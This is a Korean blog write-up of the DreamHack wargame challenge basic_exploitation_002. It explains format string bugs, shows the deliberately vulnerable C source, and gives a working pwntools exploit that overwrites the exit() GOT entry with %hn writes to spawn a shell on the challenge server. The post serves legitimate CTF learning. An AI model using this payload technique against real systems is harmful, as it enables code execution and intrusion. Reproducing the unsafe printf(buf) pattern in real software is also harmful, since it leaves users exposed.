본문 바로가기

DreamHack: System Hacking/F Stage 10

basic_exploitation_002 & Format String Bug(개요)

포맷 스트링 버그 개요

-C언어에는 scanf, fprintf, fscanf, sprintf, sscanf 등.. 이외에도 많은 포맷 스트링을 인자로 사용하는 함수들이 있다.
-이 함수들은 포맷 스트링을 채울 값들을 레지스터나 스택에서 가져온다. 그러나, 이들 내부에는 포맷 스트링이 필요로 하는 인자의 개수와 함수에 전달된 인자의 개수를 비교하는 루틴이 없다. 그래서 만약 사용자가 포맷 스트링을 입력할 수 있다면, 악의적으로 다수의 인자를 요청하여 레지스터나 스택의 값을 읽어낼 수 있다.
-심지어는 다양한 형식지정자를 활용하여 원하는 위치의 스택 값을 읽거나, 스택에 임의 값을 쓰는 것도 가능하다.

 

 

소스코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    read(0, buf, 0x80);
    printf(buf);

    exit(0);
}

 

아키텍처 및 보호기법

 

설계

개요: PIE가 적용돼있지 않으므로 바이너리는 항상 일정한 메모리 주소에 적재될 것이다. 또한 소스코드의 "printf(buf)"에서 포맷스트링 버그가 일어날 수 있음을 이용하여 exit() GOT를 get_shell()의 주소로 overwrite한다.


1st. 특정한 값과 포맷스트링을 이용하여 내가 원하는 위치의 인자가 몇 번째인지 알아낸다.
2nd. read 함수를 이용하여 내가 원하는 위치에 get_shell()의 주소와 overwrite 시킬 exit() GOT의 주소를 넣는다.
3rd. printf 함수를 통해 %n을 인자로 이용하여 exit() GOT를 get_shell()의 주소로 overwrite 한다.

 

 

exploit

첫 번째 인자부터 esp의 값을 출력해주는 것을 알 수 있다. 그렇다면 두 번째 인자는 [esp+4], 세 번째 인자는 [esp+8], n번째 인자는 [esp+4(n-1)]일 것이다.

 

해당 바이너리(basic_exploitation_002)의 스택 구조는 다음과 같다. 이 바이너리의 스택 구조 파악은 아주 간단하니 디버거를 통해 직접 해보기 바란다.

 

get_shell() 주소

 

#exit() GOT 주소 구하기

from pwn import *
e = ELF('./basic_exploitation_002')
context.arch = "i386"

exit_got = e.got['exit']

print("exit() GOT:", hex(exit_got))

 

exit() GOT의 주소

get_shell()의 주소인 0x8048609 == 134,514,185로 이걸 %134514185c을 인자로 주기엔 값이 너무 크니, get_shell()의 주소를 2바이트씩 끊어서 overwrite 해주도록 하자.

 

0x0804 == 2052

0x8609 == 34313

 

[exploit(basic_exploitation_002.py)]


from pwn import *
p = remote('host3.dreamhack.games', 14690)
e = ELF('./basic_exploitation_002')
context.arch = "i386"

exit_got = e.got['exit']
get_shell = 0x8048609

payload = b"%2052c" + b"%8$hn" + b"%32261c" + b"%7$hn" + b"a" + p32(exit_got) + p32(exit_got+2)

p.sendline(payload)

p.interactive()

 

#%n == 4byte 입력, %hn == 2byte 입력, %hhn == 1byte 입력

#%7$ == [esp+24] == exit_got, %8$ == [esp+28] == exit_got+2

#앞에서 2052만큼을 출력했으니, 두번째 %c 인자로는 34313(0x8609)-2052(0x0804)를 해줘야한다

'DreamHack: System Hacking > F Stage 10' 카테고리의 다른 글

basic_exploitation_003  (0) 2023.07.12